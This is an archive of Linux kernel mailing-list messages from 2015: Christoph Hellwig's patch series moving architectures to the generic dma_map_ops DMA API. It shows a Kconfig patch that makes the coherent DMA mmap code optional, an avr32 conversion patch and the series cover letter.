Newsgroups: gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: [PATCH 01/16] dma-mapping: make the generic coherent dma mmap implementation optional
Date: Mon,  9 Nov 2015 19:17:06 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <1447093041-21832-2-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093332 18416 80.91.229.3 (9 Nov 2015 18:22:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:12 +0000 (UTC)
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	Haavard Skinnemoen <hskinnemoen-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	Steven Miao <realmz6-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	Ley Foon Tan <lftan-EIB2kfCEclfQT0dZR+AlfA@public.gmane.org>,
	David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	Koichi Yasutake <yasutake.koichi-NAum8xwdG0+S7A1Ibl2khg@public.gmane.org>,
	Chris Metcalf <cmetcalf-d5a29ZRxExrQT0dZR+AlfA@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWPLiZjB17Co1B2eb7JE58TQ@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Nov 09 19:22:04 2015
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Zvr4r-00059O-CJ
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Mon, 09 Nov 2015 19:22:01 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752660AbbKISV6 (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Mon, 9 Nov 2015 13:21:58 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:57760 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751892AbbKISV5 (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 9 Nov 2015 13:21:57 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr4Z-0003FP-P7; Mon, 09 Nov 2015 18:21:44 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:647 gmane.linux.ports.parisc:26130 gmane.linux.ports.sparc:21734 gmane.linux.kernel.iommu:11440
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/647>

We have a couple architectures that do not want to support this code,
so add another Kconfig symbol that disables the code similar to what we
do for the nommu case.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/Kconfig               | 3 +++
 drivers/base/dma-mapping.c | 4 ++--
 2 files changed, 5 insertions(+), 2 deletions(-)

diff --git a/arch/Kconfig b/arch/Kconfig
index 4e949e5..e47995f 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -564,4 +564,7 @@ config OLD_SIGACTION
 config COMPAT_OLD_SIGACTION
 	bool
 
+config ARCH_NO_COHERENT_DMA_MMAP
+	bool
+
 source "kernel/gcov/Kconfig"
diff --git a/drivers/base/dma-mapping.c b/drivers/base/dma-mapping.c
index d95c597..381e39d 100644
--- a/drivers/base/dma-mapping.c
+++ b/drivers/base/dma-mapping.c
@@ -247,7 +247,7 @@ int dma_common_mmap(struct device *dev, struct vm_area_struct *vma,
 		    void *cpu_addr, dma_addr_t dma_addr, size_t size)
 {
 	int ret = -ENXIO;
-#ifdef CONFIG_MMU
+#if defined(CONFIG_MMU) && !defined(CONFIG_ARCH_NO_COHERENT_DMA_MMAP)
 	unsigned long user_count = (vma->vm_end - vma->vm_start) >> PAGE_SHIFT;
 	unsigned long count = PAGE_ALIGN(size) >> PAGE_SHIFT;
 	unsigned long pfn = page_to_pfn(virt_to_page(cpu_addr));
@@ -264,7 +264,7 @@ int dma_common_mmap(struct device *dev, struct vm_area_struct *vma,
 				      user_count << PAGE_SHIFT,
 				      vma->vm_page_prot);
 	}
-#endif	/* CONFIG_MMU */
+#endif	/* CONFIG_MMU && !CONFIG_ARCH_NO_COHERENT_DMA_MMAP */
 
 	return ret;
 }
-- 
1.9.1


From - Thu Nov 08 21:38:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: [PATCH 03/16] avr32: convert to dma_map_ops
Date: Mon,  9 Nov 2015 19:17:08 +0100
Lines: 536
Approved: news@gmane.org
Message-ID: <1447093041-21832-4-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093340 18512 80.91.229.3 (9 Nov 2015 18:22:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:20 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-snps-arc@lists.infraded.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-parisc@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	sparclinux@vger.kernel.org, iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Nov 09 19:22:08 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1Zvr4x-00059O-Vk
	for glpm-linux-m68k@plane.gmane.org; Mon, 09 Nov 2015 19:22:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752774AbbKISWE (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:04 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:57946 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751892AbbKISWD (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Mon, 9 Nov 2015 13:22:03 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr4g-0003Jz-UP; Mon, 09 Nov 2015 18:21:51 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7589 gmane.linux.ports.parisc:26131 gmane.linux.kernel.metag:648 gmane.linux.ports.sparc:21735 gmane.linux.kernel.iommu:11441
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7589>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/avr32/Kconfig                   |   1 +
 arch/avr32/include/asm/dma-mapping.h | 342 +----------------------------------
 arch/avr32/mm/dma-coherent.c         | 115 ++++++++----
 3 files changed, 85 insertions(+), 373 deletions(-)

diff --git a/arch/avr32/Kconfig b/arch/avr32/Kconfig
index b6878eb..b545384 100644
--- a/arch/avr32/Kconfig
+++ b/arch/avr32/Kconfig
@@ -17,6 +17,7 @@ config AVR32
 	select GENERIC_CLOCKEVENTS
 	select HAVE_MOD_ARCH_SPECIFIC
 	select MODULES_USE_ELF_RELA
+	select HAVE_DMA_ATTRS
 	help
 	  AVR32 is a high-performance 32-bit RISC microprocessor core,
 	  designed for cost-sensitive embedded applications, with particular
diff --git a/arch/avr32/include/asm/dma-mapping.h b/arch/avr32/include/asm/dma-mapping.h
index ae7ac92..0239ca8 100644
--- a/arch/avr32/include/asm/dma-mapping.h
+++ b/arch/avr32/include/asm/dma-mapping.h
@@ -1,350 +1,16 @@
 #ifndef __ASM_AVR32_DMA_MAPPING_H
 #define __ASM_AVR32_DMA_MAPPING_H
 
-#include <linux/mm.h>
-#include <linux/device.h>
-#include <linux/scatterlist.h>
-#include <asm/processor.h>
-#include <asm/cacheflush.h>
-#include <asm/io.h>
-
 extern void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	int direction);
 
-/*
- * Return whether the given device DMA address mask can be supported
- * properly.  For example, if your device can only drive the low 24-bits
- * during bus mastering, then you would pass 0x00ffffff as the mask
- * to this function.
- */
-static inline int dma_supported(struct device *dev, u64 mask)
-{
-	/* Fix when needed. I really don't know of any limitations */
-	return 1;
-}
-
-static inline int dma_set_mask(struct device *dev, u64 dma_mask)
-{
-	if (!dev->dma_mask || !dma_supported(dev, dma_mask))
-		return -EIO;
-
-	*dev->dma_mask = dma_mask;
-	return 0;
-}
-
-/*
- * dma_map_single can't fail as it is implemented now.
- */
-static inline int dma_mapping_error(struct device *dev, dma_addr_t addr)
-{
-	return 0;
-}
-
-/**
- * dma_alloc_coherent - allocate consistent memory for DMA
- * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
- * @size: required memory size
- * @handle: bus-specific DMA address
- *
- * Allocate some uncached, unbuffered memory for a device for
- * performing DMA.  This function allocates pages, and will
- * return the CPU-viewed address, and sets @handle to be the
- * device-viewed address.
- */
-extern void *dma_alloc_coherent(struct device *dev, size_t size,
-				dma_addr_t *handle, gfp_t gfp);
-
-/**
- * dma_free_coherent - free memory allocated by dma_alloc_coherent
- * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
- * @size: size of memory originally requested in dma_alloc_coherent
- * @cpu_addr: CPU-view address returned from dma_alloc_coherent
- * @handle: device-view address returned from dma_alloc_coherent
- *
- * Free (and unmap) a DMA buffer previously allocated by
- * dma_alloc_coherent().
- *
- * References to memory and mappings associated with cpu_addr/handle
- * during and after this call executing are illegal.
- */
-extern void dma_free_coherent(struct device *dev, size_t size,
-			      void *cpu_addr, dma_addr_t handle);
-
-/**
- * dma_alloc_writecombine - allocate write-combining memory for DMA
- * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
- * @size: required memory size
- * @handle: bus-specific DMA address
- *
- * Allocate some uncached, buffered memory for a device for
- * performing DMA.  This function allocates pages, and will
- * return the CPU-viewed address, and sets @handle to be the
- * device-viewed address.
- */
-extern void *dma_alloc_writecombine(struct device *dev, size_t size,
-				    dma_addr_t *handle, gfp_t gfp);
-
-/**
- * dma_free_coherent - free memory allocated by dma_alloc_writecombine
- * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
- * @size: size of memory originally requested in dma_alloc_writecombine
- * @cpu_addr: CPU-view address returned from dma_alloc_writecombine
- * @handle: device-view address returned from dma_alloc_writecombine
- *
- * Free (and unmap) a DMA buffer previously allocated by
- * dma_alloc_writecombine().
- *
- * References to memory and mappings associated with cpu_addr/handle
- * during and after this call executing are illegal.
- */
-extern void dma_free_writecombine(struct device *dev, size_t size,
-				  void *cpu_addr, dma_addr_t handle);
-
-/**
- * dma_map_single - map a single buffer for streaming DMA
- * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
- * @cpu_addr: CPU direct mapped address of buffer
- * @size: size of buffer to map
- * @dir: DMA transfer direction
- *
- * Ensure that any data held in the cache is appropriately discarded
- * or written back.
- *
- * The device owns this memory once this call has completed.  The CPU
- * can regain ownership by calling dma_unmap_single() or dma_sync_single().
- */
-static inline dma_addr_t
-dma_map_single(struct device *dev, void *cpu_addr, size_t size,
-	       enum dma_data_direction direction)
-{
-	dma_cache_sync(dev, cpu_addr, size, direction);
-	return virt_to_bus(cpu_addr);
-}
-
-/**
- * dma_unmap_single - unmap a single buffer previously mapped
- * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
- * @handle: DMA address of buffer
- * @size: size of buffer to map
- * @dir: DMA transfer direction
- *
- * Unmap a single streaming mode DMA translation.  The handle and size
- * must match what was provided in the previous dma_map_single() call.
- * All other usages are undefined.
- *
- * After this call, reads by the CPU to the buffer are guaranteed to see
- * whatever the device wrote there.
- */
-static inline void
-dma_unmap_single(struct device *dev, dma_addr_t dma_addr, size_t size,
-		 enum dma_data_direction direction)
-{
-
-}
-
-/**
- * dma_map_page - map a portion of a page for streaming DMA
- * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
- * @page: page that buffer resides in
- * @offset: offset into page for start of buffer
- * @size: size of buffer to map
- * @dir: DMA transfer direction
- *
- * Ensure that any data held in the cache is appropriately discarded
- * or written back.
- *
- * The device owns this memory once this call has completed.  The CPU
- * can regain ownership by calling dma_unmap_page() or dma_sync_single().
- */
-static inline dma_addr_t
-dma_map_page(struct device *dev, struct page *page,
-	     unsigned long offset, size_t size,
-	     enum dma_data_direction direction)
-{
-	return dma_map_single(dev, page_address(page) + offset,
-			      size, direction);
-}
-
-/**
- * dma_unmap_page - unmap a buffer previously mapped through dma_map_page()
- * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
- * @handle: DMA address of buffer
- * @size: size of buffer to map
- * @dir: DMA transfer direction
- *
- * Unmap a single streaming mode DMA translation.  The handle and size
- * must match what was provided in the previous dma_map_single() call.
- * All other usages are undefined.
- *
- * After this call, reads by the CPU to the buffer are guaranteed to see
- * whatever the device wrote there.
- */
-static inline void
-dma_unmap_page(struct device *dev, dma_addr_t dma_address, size_t size,
-	       enum dma_data_direction direction)
-{
-	dma_unmap_single(dev, dma_address, size, direction);
-}
-
-/**
- * dma_map_sg - map a set of SG buffers for streaming mode DMA
- * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
- * @sg: list of buffers
- * @nents: number of buffers to map
- * @dir: DMA transfer direction
- *
- * Map a set of buffers described by scatterlist in streaming
- * mode for DMA.  This is the scatter-gather version of the
- * above pci_map_single interface.  Here the scatter gather list
- * elements are each tagged with the appropriate dma address
- * and length.  They are obtained via sg_dma_{address,length}(SG).
- *
- * NOTE: An implementation may be able to use a smaller number of
- *       DMA address/length pairs than there are SG table elements.
- *       (for example via virtual mapping capabilities)
- *       The routine returns the number of addr/length pairs actually
- *       used, at most nents.
- *
- * Device ownership issues as mentioned above for pci_map_single are
- * the same here.
- */
-static inline int
-dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	   enum dma_data_direction direction)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nents, i) {
-		char *virt;
-
-		sg->dma_address = page_to_bus(sg_page(sg)) + sg->offset;
-		virt = sg_virt(sg);
-		dma_cache_sync(dev, virt, sg->length, direction);
-	}
-
-	return nents;
-}
-
-/**
- * dma_unmap_sg - unmap a set of SG buffers mapped by dma_map_sg
- * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
- * @sg: list of buffers
- * @nents: number of buffers to map
- * @dir: DMA transfer direction
- *
- * Unmap a set of streaming mode DMA translations.
- * Again, CPU read rules concerning calls here are the same as for
- * pci_unmap_single() above.
- */
-static inline void
-dma_unmap_sg(struct device *dev, struct scatterlist *sg, int nhwentries,
-	     enum dma_data_direction direction)
-{
-
-}
-
-/**
- * dma_sync_single_for_cpu
- * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
- * @handle: DMA address of buffer
- * @size: size of buffer to map
- * @dir: DMA transfer direction
- *
- * Make physical memory consistent for a single streaming mode DMA
- * translation after a transfer.
- *
- * If you perform a dma_map_single() but wish to interrogate the
- * buffer using the cpu, yet do not wish to teardown the DMA mapping,
- * you must call this function before doing so.  At the next point you
- * give the DMA address back to the card, you must first perform a
- * dma_sync_single_for_device, and then the device again owns the
- * buffer.
- */
-static inline void
-dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle,
-			size_t size, enum dma_data_direction direction)
-{
-	/*
-	 * No need to do anything since the CPU isn't supposed to
-	 * touch this memory after we flushed it at mapping- or
-	 * sync-for-device time.
-	 */
-}
-
-static inline void
-dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle,
-			   size_t size, enum dma_data_direction direction)
-{
-	dma_cache_sync(dev, bus_to_virt(dma_handle), size, direction);
-}
-
-static inline void
-dma_sync_single_range_for_cpu(struct device *dev, dma_addr_t dma_handle,
-			      unsigned long offset, size_t size,
-			      enum dma_data_direction direction)
-{
-	/* just sync everything, that's all the pci API can do */
-	dma_sync_single_for_cpu(dev, dma_handle, offset+size, direction);
-}
-
-static inline void
-dma_sync_single_range_for_device(struct device *dev, dma_addr_t dma_handle,
-				 unsigned long offset, size_t size,
-				 enum dma_data_direction direction)
-{
-	/* just sync everything, that's all the pci API can do */
-	dma_sync_single_for_device(dev, dma_handle, offset+size, direction);
-}
+extern struct dma_map_ops avr32_dma_ops;
 
-/**
- * dma_sync_sg_for_cpu
- * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
- * @sg: list of buffers
- * @nents: number of buffers to map
- * @dir: DMA transfer direction
- *
- * Make physical memory consistent for a set of streaming
- * mode DMA translations after a transfer.
- *
- * The same as dma_sync_single_for_* but for a scatter-gather list,
- * same rules and usage.
- */
-static inline void
-dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg,
-		    int nents, enum dma_data_direction direction)
+static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 {
-	/*
-	 * No need to do anything since the CPU isn't supposed to
-	 * touch this memory after we flushed it at mapping- or
-	 * sync-for-device time.
-	 */
+	return &avr32_dma_ops;
 }
 
-static inline void
-dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist,
-		       int nents, enum dma_data_direction direction)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nents, i)
-		dma_cache_sync(dev, sg_virt(sg), sg->length, direction);
-}
-
-/* Now for the API extensions over the pci_ one */
-
-#define dma_alloc_noncoherent(d, s, h, f) dma_alloc_coherent(d, s, h, f)
-#define dma_free_noncoherent(d, s, v, h) dma_free_coherent(d, s, v, h)
-
-/* drivers/base/dma-mapping.c */
-extern int dma_common_mmap(struct device *dev, struct vm_area_struct *vma,
-			   void *cpu_addr, dma_addr_t dma_addr, size_t size);
-extern int dma_common_get_sgtable(struct device *dev, struct sg_table *sgt,
-				  void *cpu_addr, dma_addr_t dma_addr,
-				  size_t size);
-
-#define dma_mmap_coherent(d, v, c, h, s) dma_common_mmap(d, v, c, h, s)
-#define dma_get_sgtable(d, t, v, h, s) dma_common_get_sgtable(d, t, v, h, s)
+#include <asm-generic/dma-mapping-common.h>
 
 #endif /* __ASM_AVR32_DMA_MAPPING_H */
diff --git a/arch/avr32/mm/dma-coherent.c b/arch/avr32/mm/dma-coherent.c
index 50cdb5b..5b5e80f 100644
--- a/arch/avr32/mm/dma-coherent.c
+++ b/arch/avr32/mm/dma-coherent.c
@@ -9,9 +9,14 @@
 #include <linux/dma-mapping.h>
 #include <linux/gfp.h>
 #include <linux/export.h>
+#include <linux/mm.h>
+#include <linux/device.h>
+#include <linux/scatterlist.h>
 
-#include <asm/addrspace.h>
+#include <asm/processor.h>
 #include <asm/cacheflush.h>
+#include <asm/io.h>
+#include <asm/addrspace.h>
 
 void dma_cache_sync(struct device *dev, void *vaddr, size_t size, int direction)
 {
@@ -93,60 +98,100 @@ static void __dma_free(struct device *dev, size_t size,
 		__free_page(page++);
 }
 
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			 dma_addr_t *handle, gfp_t gfp)
+static void *avr32_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *handle, gfp_t gfp, struct dma_attrs *attrs)
 {
 	struct page *page;
-	void *ret = NULL;
+	dma_addr_t phys;
 
 	page = __dma_alloc(dev, size, handle, gfp);
-	if (page)
-		ret = phys_to_uncached(page_to_phys(page));
+	if (!page)
+		return NULL;
+	phys = page_to_phys(page);
 
-	return ret;
+	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs)) {
+		/* Now, map the page into P3 with write-combining turned on */
+		*handle = phys;
+		return __ioremap(phys, size, _PAGE_BUFFER);
+	} else {
+		return phys_to_uncached(phys);
+	}
 }
-EXPORT_SYMBOL(dma_alloc_coherent);
 
-void dma_free_coherent(struct device *dev, size_t size,
-		       void *cpu_addr, dma_addr_t handle)
+static void avr32_dma_free(struct device *dev, size_t size,
+		void *cpu_addr, dma_addr_t handle, struct dma_attrs *attrs)
 {
-	void *addr = phys_to_cached(uncached_to_phys(cpu_addr));
 	struct page *page;
 
-	pr_debug("dma_free_coherent addr %p (phys %08lx) size %u\n",
-		 cpu_addr, (unsigned long)handle, (unsigned)size);
-	BUG_ON(!virt_addr_valid(addr));
-	page = virt_to_page(addr);
+	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs)) {
+		iounmap(cpu_addr);
+
+		page = phys_to_page(handle);
+	} else {
+		void *addr = phys_to_cached(uncached_to_phys(cpu_addr));
+
+		pr_debug("avr32_dma_free addr %p (phys %08lx) size %u\n",
+			 cpu_addr, (unsigned long)handle, (unsigned)size);
+	
+		BUG_ON(!virt_addr_valid(addr));
+		page = virt_to_page(addr);
+	}
+
 	__dma_free(dev, size, page, handle);
 }
-EXPORT_SYMBOL(dma_free_coherent);
 
-void *dma_alloc_writecombine(struct device *dev, size_t size,
-			     dma_addr_t *handle, gfp_t gfp)
+static dma_addr_t avr32_dma_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size,
+		enum dma_data_direction direction, struct dma_attrs *attrs)
 {
-	struct page *page;
-	dma_addr_t phys;
+	void *cpu_addr = page_address(page) + offset;
 
-	page = __dma_alloc(dev, size, handle, gfp);
-	if (!page)
-		return NULL;
+	dma_cache_sync(dev, cpu_addr, size, direction);
+	return virt_to_bus(cpu_addr);
+}
 
-	phys = page_to_phys(page);
-	*handle = phys;
+static int avr32_dma_map_sg(struct device *dev, struct scatterlist *sglist,
+		int nents, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
+{
+	int i;
+	struct scatterlist *sg;
+
+	for_each_sg(sglist, sg, nents, i) {
+		char *virt;
 
-	/* Now, map the page into P3 with write-combining turned on */
-	return __ioremap(phys, size, _PAGE_BUFFER);
+		sg->dma_address = page_to_bus(sg_page(sg)) + sg->offset;
+		virt = sg_virt(sg);
+		dma_cache_sync(dev, virt, sg->length, direction);
+	}
+
+	return nents;
 }
-EXPORT_SYMBOL(dma_alloc_writecombine);
 
-void dma_free_writecombine(struct device *dev, size_t size,
-			   void *cpu_addr, dma_addr_t handle)
+static void avr32_dma_sync_single_for_device(struct device *dev,
+		dma_addr_t dma_handle, size_t size,
+		enum dma_data_direction direction)
 {
-	struct page *page;
+	dma_cache_sync(dev, bus_to_virt(dma_handle), size, direction);
+}
 
-	iounmap(cpu_addr);
+static void avr32_dma_sync_sg_for_device(struct device *dev,
+		struct scatterlist *sglist, int nents,
+		enum dma_data_direction direction)
+{
+	int i;
+	struct scatterlist *sg;
 
-	page = phys_to_page(handle);
-	__dma_free(dev, size, page, handle);
+	for_each_sg(sglist, sg, nents, i)
+		dma_cache_sync(dev, sg_virt(sg), sg->length, direction);
 }
-EXPORT_SYMBOL(dma_free_writecombine);
+
+struct dma_map_ops avr32_dma_ops = {
+	.alloc			= avr32_dma_alloc,
+	.free			= avr32_dma_free,
+	.map_page		= avr32_dma_map_page,
+	.map_sg			= avr32_dma_map_sg,
+	.sync_single_for_device	= avr32_dma_sync_single_for_device,
+	.sync_sg_for_device	= avr32_dma_sync_sg_for_device,
+};
+EXPORT_SYMBOL(avr32_dma_ops);
-- 
1.9.1


From - Thu Nov 08 21:38:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: use dma_map_ops for all architectures
Date: Mon,  9 Nov 2015 19:17:05 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093343 18571 80.91.229.3 (9 Nov 2015 18:22:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:23 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-snps-arc@lists.infraded.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-parisc@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	sparclinux@vger.kernel.org, iommu@lists.linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 09 19:22:12 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zvr4r-00059O-V4
	for glpp-linux-parisc@plane.gmane.org; Mon, 09 Nov 2015 19:22:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752722AbbKISV7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Nov 2015 13:21:59 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:57767 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752160AbbKISV6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Nov 2015 13:21:58 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr4W-0003DE-S1; Mon, 09 Nov 2015 18:21:41 +0000
X-Mailer: git-send-email 1.9.1
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26132 gmane.linux.kernel.metag:649 gmane.linux.ports.sparc:21736 gmane.linux.kernel.iommu:11442
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26132>

This series converts all remaining architectures to use dma_map_ops
and the generic implementation of the DMA API.  This not only
simplifies the code a lot, but also prepares for possible future
changes like more generic non-iommu dma_ops implementations or generic
per-device dma_map_ops.

A git tree is also available at:

	http://git.infradead.org/users/hch/block.git/shortlog/refs/heads/dma-mapping-cleanups

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


